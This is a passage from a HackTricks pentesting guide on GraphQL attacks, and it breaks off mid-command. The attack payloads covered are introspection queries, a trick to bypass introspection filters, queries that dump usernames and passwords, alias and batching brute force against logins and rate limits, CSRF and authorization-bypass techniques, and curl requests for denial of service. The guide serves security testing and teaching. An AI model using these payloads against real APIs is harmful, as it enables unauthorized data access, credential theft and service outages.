mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-21 02:23:30 +00:00
693 lines
42 KiB
Markdown
693 lines
42 KiB
Markdown
|
# GraphQL
|
|||
|
|
|||
|
{% hint style="success" %}
|
|||
|
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|||
|
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary>Support HackTricks</summary>
|
|||
|
|
|||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|||
|
|
|||
|
</details>
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
|
|||
|
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
|||
|
|
|||
|
Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
|
|||
|
|
|||
|
{% embed url="https://academy.8ksec.io/" %}
|
|||
|
|
|||
|
## Introduction
|
|||
|
|
|||
|
GraphQL is **highlighted** as an **efficient alternative** to REST API, offering a simplified approach for querying data from the backend. In contrast to REST, which often necessitates numerous requests across varied endpoints to gather data, GraphQL enables the fetching of all required information through a **single request**. This streamlining significantly **benefits developers** by diminishing the intricacy of their data fetching processes.
|
|||
|
|
|||
|
## GraphQL and Security
|
|||
|
|
|||
|
With the advent of new technologies, including GraphQL, new security vulnerabilities also emerge. A key point to note is that **GraphQL does not include authentication mechanisms by default**. It's the responsibility of developers to implement such security measures. Without proper authentication, GraphQL endpoints may expose sensitive information to unauthenticated users, posing a significant security risk.
|
|||
|
|
|||
|
### Directory Brute Force Attacks and GraphQL
|
|||
|
|
|||
|
To identify exposed GraphQL instances, the inclusion of specific paths in directory brute force attacks is recommended. These paths are:
|
|||
|
|
|||
|
* `/graphql`
|
|||
|
* `/graphiql`
|
|||
|
* `/graphql.php`
|
|||
|
* `/graphql/console`
|
|||
|
* `/api`
|
|||
|
* `/api/graphql`
|
|||
|
* `/graphql/api`
|
|||
|
* `/graphql/graphql`
|
|||
|
|
|||
|
Identifying open GraphQL instances allows for the examination of supported queries. This is crucial for understanding the data accessible through the endpoint. GraphQL's introspection system facilitates this by detailing the queries a schema supports. For more information on this, refer to the GraphQL documentation on introspection: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)
|
|||
|
|
|||
|
### Fingerprint
|
|||
|
|
|||
|
The tool [**graphw00f**](https://github.com/dolevf/graphw00f) is capable to detect wich GraphQL engine is used in a server and then prints some helpful information for the security auditor.
|
|||
|
|
|||
|
#### Universal queries <a href="#universal-queries" id="universal-queries"></a>
|
|||
|
|
|||
|
To check if a URL is a GraphQL service, a **universal query**, `query{__typename}`, can be sent. If the response includes `{"data": {"__typename": "Query"}}`, it confirms the URL hosts a GraphQL endpoint. This method relies on GraphQL's `__typename` field, which reveals the type of the queried object.
|
|||
|
|
|||
|
```javascript
|
|||
|
query{__typename}
|
|||
|
```
|
|||
|
|
|||
|
### Basic Enumeration
|
|||
|
|
|||
|
Graphql usually supports **GET**, **POST** (x-www-form-urlencoded) and **POST**(json). Although for security it's recommended to only allow json to prevent CSRF attacks.
|
|||
|
|
|||
|
#### Introspection
|
|||
|
|
|||
|
To use introspection to discover schema information, query the `__schema` field. This field is available on the root type of all queries.
|
|||
|
|
|||
|
```bash
|
|||
|
query={__schema{types{name,fields{name}}}}
|
|||
|
```
|
|||
|
|
|||
|
With this query you will find the name of all the types being used:
|
|||
|
|
|||
|
![](<../../.gitbook/assets/image (1036).png>)
|
|||
|
|
|||
|
{% code overflow="wrap" %}
|
|||
|
```bash
|
|||
|
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
|
|||
|
```
|
|||
|
{% endcode %}
|
|||
|
|
|||
|
With this query you can extract all the types, it's fields, and it's arguments (and the type of the args). This will be very useful to know how to query the database.
|
|||
|
|
|||
|
![](<../../.gitbook/assets/image (950).png>)
|
|||
|
|
|||
|
**Errors**
|
|||
|
|
|||
|
It's interesting to know if the **errors** are going to be **shown** as they will contribute with useful **information.**
|
|||
|
|
|||
|
```
|
|||
|
?query={__schema}
|
|||
|
?query={}
|
|||
|
?query={thisdefinitelydoesnotexist}
|
|||
|
```
|
|||
|
|
|||
|
![](<../../.gitbook/assets/image (416).png>)
|
|||
|
|
|||
|
**Enumerate Database Schema via Introspection**
|
|||
|
|
|||
|
{% hint style="info" %}
|
|||
|
If introspection is enabled but the above query doesn't run, try removing the `onOperation`, `onFragment`, and `onField` directives from the query structure.
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
```bash
|
|||
|
#Full introspection query
|
|||
|
|
|||
|
query IntrospectionQuery {
|
|||
|
__schema {
|
|||
|
queryType {
|
|||
|
name
|
|||
|
}
|
|||
|
mutationType {
|
|||
|
name
|
|||
|
}
|
|||
|
subscriptionType {
|
|||
|
name
|
|||
|
}
|
|||
|
types {
|
|||
|
...FullType
|
|||
|
}
|
|||
|
directives {
|
|||
|
name
|
|||
|
description
|
|||
|
args {
|
|||
|
...InputValue
|
|||
|
}
|
|||
|
onOperation #Often needs to be deleted to run query
|
|||
|
onFragment #Often needs to be deleted to run query
|
|||
|
onField #Often needs to be deleted to run query
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
fragment FullType on __Type {
|
|||
|
kind
|
|||
|
name
|
|||
|
description
|
|||
|
fields(includeDeprecated: true) {
|
|||
|
name
|
|||
|
description
|
|||
|
args {
|
|||
|
...InputValue
|
|||
|
}
|
|||
|
type {
|
|||
|
...TypeRef
|
|||
|
}
|
|||
|
isDeprecated
|
|||
|
deprecationReason
|
|||
|
}
|
|||
|
inputFields {
|
|||
|
...InputValue
|
|||
|
}
|
|||
|
interfaces {
|
|||
|
...TypeRef
|
|||
|
}
|
|||
|
enumValues(includeDeprecated: true) {
|
|||
|
name
|
|||
|
description
|
|||
|
isDeprecated
|
|||
|
deprecationReason
|
|||
|
}
|
|||
|
possibleTypes {
|
|||
|
...TypeRef
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
fragment InputValue on __InputValue {
|
|||
|
name
|
|||
|
description
|
|||
|
type {
|
|||
|
...TypeRef
|
|||
|
}
|
|||
|
defaultValue
|
|||
|
}
|
|||
|
|
|||
|
fragment TypeRef on __Type {
|
|||
|
kind
|
|||
|
name
|
|||
|
ofType {
|
|||
|
kind
|
|||
|
name
|
|||
|
ofType {
|
|||
|
kind
|
|||
|
name
|
|||
|
ofType {
|
|||
|
kind
|
|||
|
name
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
```
|
|||
|
|
|||
|
Inline introspection query:
|
|||
|
|
|||
|
```
|
|||
|
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
|
|||
|
```
|
|||
|
|
|||
|
The last code line is a graphql query that will dump all the meta-information from the graphql (objects names, parameters, types...)
|
|||
|
|
|||
|
![](<../../.gitbook/assets/image (363).png>)
|
|||
|
|
|||
|
If introspection is enabled you can use [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) to view in a GUI all the options.
|
|||
|
|
|||
|
### Querying
|
|||
|
|
|||
|
Now that we know which kind of information is saved inside the database, let's try to **extract some values**.
|
|||
|
|
|||
|
In the introspection you can find **which object you can directly query for** (because you cannot query an object just because it exists). In the following image you can see that the "_queryType_" is called "_Query_" and that one of the fields of the "_Query_" object is "_flags_", which is also a type of object. Therefore you can query the flag object.
|
|||
|
|
|||
|
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-17-48.png>)
|
|||
|
|
|||
|
Note that the type of the query "_flags_" is "_Flags_", and this object is defined as below:
|
|||
|
|
|||
|
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-22-57 (1).png>)
|
|||
|
|
|||
|
You can see that the "_Flags_" objects are composed by **name** and .**value** Then you can get all the names and values of the flags with the query:
|
|||
|
|
|||
|
```javascript
|
|||
|
query={flags{name, value}}
|
|||
|
```
|
|||
|
|
|||
|
Note that in case the **object to query** is a **primitive** **type** like **string** like in the following example
|
|||
|
|
|||
|
![](<../../.gitbook/assets/image (958).png>)
|
|||
|
|
|||
|
You can just query is with:
|
|||
|
|
|||
|
```javascript
|
|||
|
query={hiddenFlags}
|
|||
|
```
|
|||
|
|
|||
|
In another example where there were 2 objects inside the "_Query_" type object: "_user_" and "_users_".\
|
|||
|
If these objects don't need any argument to search, could **retrieve all the information from them** just **asking** for the data you want. In this example from Internet you could extract the saved usernames and passwords:
|
|||
|
|
|||
|
![](<../../.gitbook/assets/image (880).png>)
|
|||
|
|
|||
|
However, in this example if you try to do so you get this **error**:
|
|||
|
|
|||
|
![](<../../.gitbook/assets/image (1042).png>)
|
|||
|
|
|||
|
Looks like somehow it will search using the "_**uid**_" argument of type _**Int**_.\
|
|||
|
Anyway, we already knew that, in the [Basic Enumeration](graphql.md#basic-enumeration) section a query was purposed that was showing us all the needed information: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
|
|||
|
|
|||
|
If you read the image provided when I run that query you will see that "_**user**_" had the **arg** "_**uid**_" of type _Int_.
|
|||
|
|
|||
|
So, performing some light _**uid**_ bruteforce I found that in _**uid**=**1**_ a username and a password was retrieved:\
|
|||
|
`query={user(uid:1){user,password}}`
|
|||
|
|
|||
|
![](<../../.gitbook/assets/image (90).png>)
|
|||
|
|
|||
|
Note that I **discovered** that I could ask for the **parameters** "_**user**_" and "_**password**_" because if I try to look for something that doesn't exist (`query={user(uid:1){noExists}}`) I get this error:
|
|||
|
|
|||
|
![](<../../.gitbook/assets/image (707).png>)
|
|||
|
|
|||
|
And during the **enumeration phase** I discovered that the "_**dbuser**_" object had as fields "_**user**_" and "_**password**_.
|
|||
|
|
|||
|
**Query string dump trick (thanks to @BinaryShadow\_)**
|
|||
|
|
|||
|
If you can search by a string type, like: `query={theusers(description: ""){username,password}}` and you **search for an empty string** it will **dump all data**. (_Note this example isn't related with the example of the tutorials, for this example suppose you can search using "**theusers**" by a String field called "**description**"_).
|
|||
|
|
|||
|
### Searching
|
|||
|
|
|||
|
In this setup, a **database** contains **persons** and **movies**. **Persons** are identified by their **email** and **name**; **movies** by their **name** and **rating**. **Persons** can be friends with each other and also have movies, indicating relationships within the database.
|
|||
|
|
|||
|
You can **search** persons **by** the **name** and get their emails:
|
|||
|
|
|||
|
```javascript
|
|||
|
{
|
|||
|
searchPerson(name: "John Doe") {
|
|||
|
email
|
|||
|
}
|
|||
|
}
|
|||
|
```
|
|||
|
|
|||
|
You can **search** persons **by** the **name** and get their **subscribed** **films**:
|
|||
|
|
|||
|
```javascript
|
|||
|
{
|
|||
|
searchPerson(name: "John Doe") {
|
|||
|
email
|
|||
|
subscribedMovies {
|
|||
|
edges {
|
|||
|
node {
|
|||
|
name
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
```
|
|||
|
|
|||
|
Note how its indicated to retrieve the `name` of the `subscribedMovies` of the person.
|
|||
|
|
|||
|
You can also **search several objects at the same time**. In this case, a search 2 movies is done:
|
|||
|
|
|||
|
```javascript
|
|||
|
{
|
|||
|
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
|
|||
|
name
|
|||
|
}
|
|||
|
}r
|
|||
|
```
|
|||
|
|
|||
|
Or even **relations of several different objects using aliases**:
|
|||
|
|
|||
|
```javascript
|
|||
|
{
|
|||
|
johnsMovieList: searchPerson(name: "John Doe") {
|
|||
|
subscribedMovies {
|
|||
|
edges {
|
|||
|
node {
|
|||
|
name
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
davidsMovieList: searchPerson(name: "David Smith") {
|
|||
|
subscribedMovies {
|
|||
|
edges {
|
|||
|
node {
|
|||
|
name
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
```
|
|||
|
|
|||
|
### Mutations
|
|||
|
|
|||
|
**Mutations are used to make changes in the server-side.**
|
|||
|
|
|||
|
In the **introspection** you can find the **declared** **mutations**. In the following image the "_MutationType_" is called "_Mutation_" and the "_Mutation_" object contains the names of the mutations (like "_addPerson_" in this case):
|
|||
|
|
|||
|
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-26-27 (1).png>)
|
|||
|
|
|||
|
In this setup, a **database** contains **persons** and **movies**. **Persons** are identified by their **email** and **name**; **movies** by their **name** and **rating**. **Persons** can be friends with each other and also have movies, indicating relationships within the database.
|
|||
|
|
|||
|
A mutation to **create new** movies inside the database can be like the following one (in this example the mutation is called `addMovie`):
|
|||
|
|
|||
|
```javascript
|
|||
|
mutation {
|
|||
|
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
|
|||
|
movies {
|
|||
|
name
|
|||
|
rating
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
```
|
|||
|
|
|||
|
**Note how both the values and type of data are indicated in the query.**
|
|||
|
|
|||
|
Additionally, the database supports a **mutation** operation, named `addPerson`, which allows for the creation of **persons** along with their associations to existing **friends** and **movies**. It's crucial to note that the friends and movies must pre-exist in the database before linking them to the newly created person.
|
|||
|
|
|||
|
```javascript
|
|||
|
mutation {
|
|||
|
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
|
|||
|
person {
|
|||
|
name
|
|||
|
email
|
|||
|
friends {
|
|||
|
edges {
|
|||
|
node {
|
|||
|
name
|
|||
|
email
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
subscribedMovies {
|
|||
|
edges {
|
|||
|
node {
|
|||
|
name
|
|||
|
rating
|
|||
|
releaseYear
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
```
|
|||
|
|
|||
|
### Directive Overloading
|
|||
|
|
|||
|
As explained in [**one of the vulns described in this report**](https://www.landh.tech/blog/20240304-google-hack-50000/), a directive overloading implies to call of a directive even millions of times to make the server waste operations until it's possible to DoS it.
|
|||
|
|
|||
|
### Batching brute-force in 1 API request
|
|||
|
|
|||
|
This information was take from [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
|
|||
|
Authentication through GraphQL API with **simultaneously sending many queries with different credentials** to check it. It’s a classic brute force attack, but now it’s possible to send more than one login/password pair per HTTP request because of the GraphQL batching feature. This approach would trick external rate monitoring applications into thinking all is well and there is no brute-forcing bot trying to guess passwords.
|
|||
|
|
|||
|
Below you can find the simplest demonstration of an application authentication request, with **3 different email/passwords pairs at a time**. Obviously it’s possible to send thousands in a single request in the same way:
|
|||
|
|
|||
|
![](<../../.gitbook/assets/image (1081).png>)
|
|||
|
|
|||
|
As we can see from the response screenshot, the first and the third requests returned _null_ and reflected the corresponding information in the _error_ section. The **second mutation had the correct authentication** data and the response has the correct authentication session token.
|
|||
|
|
|||
|
![](<../../.gitbook/assets/image (119) (1).png>)
|
|||
|
|
|||
|
## GraphQL Without Introspection
|
|||
|
|
|||
|
More and more **graphql endpoints are disabling introspection**. However, the errors that graphql throws when an unexpected request is received are enough for tools like [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) to recreate most part of the schema.
|
|||
|
|
|||
|
Moreover, the Burp Suite extension [**GraphQuail**](https://github.com/forcesunseen/graphquail) extension **observes GraphQL API requests going through Burp** and **builds** an internal GraphQL **schema** with each new query it sees. It can also expose the schema for GraphiQL and Voyager. The extension returns a fake response when it receives an introspection query. As a result, GraphQuail shows all queries, arguments, and fields available for use within the API. For more info [**check this**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
|||
|
|
|||
|
A nice **wordlist** to discover [**GraphQL entities can be found here**](https://github.com/Escape-Technologies/graphql-wordlist?).
|
|||
|
|
|||
|
### Bypassing GraphQL introspection defences <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
|
|||
|
|
|||
|
To bypass restrictions on introspection queries in APIs, inserting a **special character after the `__schema` keyword** proves effective. This method exploits common developer oversights in regex patterns that aim to block introspection by focusing on the `__schema` keyword. By adding characters like **spaces, new lines, and commas**, which GraphQL ignores but might not be accounted for in regex, restrictions can be circumvented. For instance, an introspection query with a newline after `__schema` may bypass such defenses:
|
|||
|
|
|||
|
```bash
|
|||
|
# Example with newline to bypass
|
|||
|
{
|
|||
|
"query": "query{__schema
|
|||
|
{queryType{name}}}"
|
|||
|
}
|
|||
|
```
|
|||
|
|
|||
|
If unsuccessful, consider alternative request methods, such as **GET requests** or **POST with `x-www-form-urlencoded`**, since restrictions may apply only to POST requests.
|
|||
|
|
|||
|
### Try WebSockets
|
|||
|
|
|||
|
As mentioned in [**this talk**](https://www.youtube.com/watch?v=tIo\_t5uUK50), check if it might be possible to connect to graphQL via WebSockets as that might allow you to bypass a potential WAF and make the websocket communication leak the schema of the graphQL:
|
|||
|
|
|||
|
```javascript
|
|||
|
ws = new WebSocket('wss://target/graphql', 'graphql-ws');
|
|||
|
ws.onopen = function start(event) {
|
|||
|
var GQL_CALL = {
|
|||
|
extensions: {},
|
|||
|
query: `
|
|||
|
{
|
|||
|
__schema {
|
|||
|
_types {
|
|||
|
name
|
|||
|
}
|
|||
|
}
|
|||
|
}`
|
|||
|
}
|
|||
|
|
|||
|
var graphqlMsg = {
|
|||
|
type: 'GQL.START',
|
|||
|
id: '1',
|
|||
|
payload: GQL_CALL,
|
|||
|
};
|
|||
|
ws.send(JSON.stringify(graphqlMsg));
|
|||
|
}
|
|||
|
```
|
|||
|
|
|||
|
### **Discovering Exposed GraphQL Structures**
|
|||
|
|
|||
|
When introspection is disabled, examining the website's source code for preloaded queries in JavaScript libraries is a useful strategy. These queries can be found using the `Sources` tab in developer tools, providing insights into the API's schema and revealing potentially **exposed sensitive queries**. The commands to search within the developer tools are:
|
|||
|
|
|||
|
```javascript
|
|||
|
Inspect/Sources/"Search all files"
|
|||
|
file:* mutation
|
|||
|
file:* query
|
|||
|
```
|
|||
|
|
|||
|
## CSRF in GraphQL
|
|||
|
|
|||
|
If you don't know what CSRF is read the following page:
|
|||
|
|
|||
|
{% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %}
|
|||
|
[csrf-cross-site-request-forgery.md](../../pentesting-web/csrf-cross-site-request-forgery.md)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
Out there you are going to be able to find several GraphQL endpoints **configured without CSRF tokens.**
|
|||
|
|
|||
|
Note that GraphQL request are usually sent via POST requests using the Content-Type **`application/json`**.
|
|||
|
|
|||
|
```javascript
|
|||
|
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
|
|||
|
```
|
|||
|
|
|||
|
However, most GraphQL endpoints also support **`form-urlencoded` POST requests:**
|
|||
|
|
|||
|
```javascript
|
|||
|
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
|||
|
```
|
|||
|
|
|||
|
Therefore, as CSRF requests like the previous ones are sent **without preflight requests**, it's possible to **perform** **changes** in the GraphQL abusing a CSRF.
|
|||
|
|
|||
|
However, note that the new default cookie value of the `samesite` flag of Chrome is `Lax`. This means that the cookie will only be sent from a third party web in GET requests.
|
|||
|
|
|||
|
Note that it's usually possible to send the **query** **request** also as a **GET** **request and the CSRF token might not being validated in a GET request.**
|
|||
|
|
|||
|
Also, abusing a [**XS-Search**](../../pentesting-web/xs-search/) **attack** might be possible to exfiltrate content from the GraphQL endpoint abusing the credentials of the user.
|
|||
|
|
|||
|
For more information **check the** [**original post here**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
|
|||
|
|
|||
|
## Cross-site WebSocket hijacking in GraphQL
|
|||
|
|
|||
|
Similar to CRSF vulnerabilities abusing graphQL it's also possible to perform a **Cross-site WebSocket hijacking to abuse an authentication with GraphQL with unprotected cookies** and make a user perform unexpected actions in GraphQL.
|
|||
|
|
|||
|
For more information check:
|
|||
|
|
|||
|
{% content-ref url="../../pentesting-web/websocket-attacks.md" %}
|
|||
|
[websocket-attacks.md](../../pentesting-web/websocket-attacks.md)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
## Authorization in GraphQL
|
|||
|
|
|||
|
Many GraphQL functions defined on the endpoint might only check the authentication of the requester but not authorization.
|
|||
|
|
|||
|
Modifying query input variables could lead to sensitive account details [leaked](https://hackerone.com/reports/792927).
|
|||
|
|
|||
|
Mutation could even lead to account takeover trying to modify other account data.
|
|||
|
|
|||
|
```javascript
|
|||
|
{
|
|||
|
"operationName":"updateProfile",
|
|||
|
"variables":{"username":INJECT,"data":INJECT},
|
|||
|
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
|
|||
|
}
|
|||
|
```
|
|||
|
|
|||
|
### Bypass authorization in GraphQL
|
|||
|
|
|||
|
[Chaining queries](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) together can bypass a weak authentication system.
|
|||
|
|
|||
|
In the below example you can see that the operation is "forgotPassword" and that it should only execute the forgotPassword query associated with it. This can be bypassed by adding a query to the end, in this case we add "register" and a user variable for the system to register as a new user.
|
|||
|
|
|||
|
<figure><img src="../../.gitbook/assets/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
|
|||
|
|
|||
|
## Bypassing Rate Limits Using Aliases in GraphQL
|
|||
|
|
|||
|
In GraphQL, aliases are a powerful feature that allow for the **naming of properties explicitly** when making an API request. This capability is particularly useful for retrieving **multiple instances of the same type** of object within a single request. Aliases can be employed to overcome the limitation that prevents GraphQL objects from having multiple properties with the same name.
|
|||
|
|
|||
|
For a detailed understanding of GraphQL aliases, the following resource is recommended: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
|
|||
|
|
|||
|
While the primary purpose of aliases is to reduce the necessity for numerous API calls, an unintended use case has been identified where aliases can be leveraged to execute brute force attacks on a GraphQL endpoint. This is possible because some endpoints are protected by rate limiters designed to thwart brute force attacks by restricting the **number of HTTP requests**. However, these rate limiters might not account for the number of operations within each request. Given that aliases allow for the inclusion of multiple queries in a single HTTP request, they can circumvent such rate limiting measures.
|
|||
|
|
|||
|
Consider the example provided below, which illustrates how aliased queries can be used to verify the validity of store discount codes. This method could sidestep rate limiting since it compiles several queries into one HTTP request, potentially allowing for the verification of numerous discount codes simultaneously.
|
|||
|
|
|||
|
```bash
|
|||
|
# Example of a request utilizing aliased queries to check for valid discount codes
|
|||
|
query isValidDiscount($code: Int) {
|
|||
|
isvalidDiscount(code:$code){
|
|||
|
valid
|
|||
|
}
|
|||
|
isValidDiscount2:isValidDiscount(code:$code){
|
|||
|
valid
|
|||
|
}
|
|||
|
isValidDiscount3:isValidDiscount(code:$code){
|
|||
|
valid
|
|||
|
}
|
|||
|
}
|
|||
|
```
|
|||
|
|
|||
|
## DoS in GraphQL
|
|||
|
|
|||
|
### Alias Overloading
|
|||
|
|
|||
|
**Alias Overloading** is a GraphQL vulnerability where attackers overload a query with many aliases for the same field, causing the backend resolver to execute that field repeatedly. This can overwhelm server resources, leading to a **Denial of Service (DoS)**. For example, in the query below, the same field (`expensiveField`) is requested 1,000 times using aliases, forcing the backend to compute it 1,000 times, potentially exhausting CPU or memory:
|
|||
|
|
|||
|
{% code overflow="wrap" %}
|
|||
|
```graphql
|
|||
|
# Test provided by https://github.com/dolevf/graphql-cop
|
|||
|
curl -X POST -H "Content-Type: application/json" \
|
|||
|
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
|
|||
|
'https://example.com/graphql'
|
|||
|
```
|
|||
|
{% endcode %}
|
|||
|
|
|||
|
To mitigate this, implement alias count limits, query complexity analysis, or rate limiting to prevent resource abuse.
|
|||
|
|
|||
|
### **Array-based Query Batching**
|
|||
|
|
|||
|
**Array-based Query Batching** is a vulnerability where a GraphQL API allows batching multiple queries in a single request, enabling an attacker to send a large number of queries simultaneously. This can overwhelm the backend by executing all the batched queries in parallel, consuming excessive resources (CPU, memory, database connections) and potentially leading to a **Denial of Service (DoS)**. If no limit exists on the number of queries in a batch, an attacker can exploit this to degrade service availability.
|
|||
|
|
|||
|
{% code overflow="wrap" %}
|
|||
|
```graphql
|
|||
|
# Test provided by https://github.com/dolevf/graphql-cop
|
|||
|
curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
|||
|
-H "Content-Type: application/json" \
|
|||
|
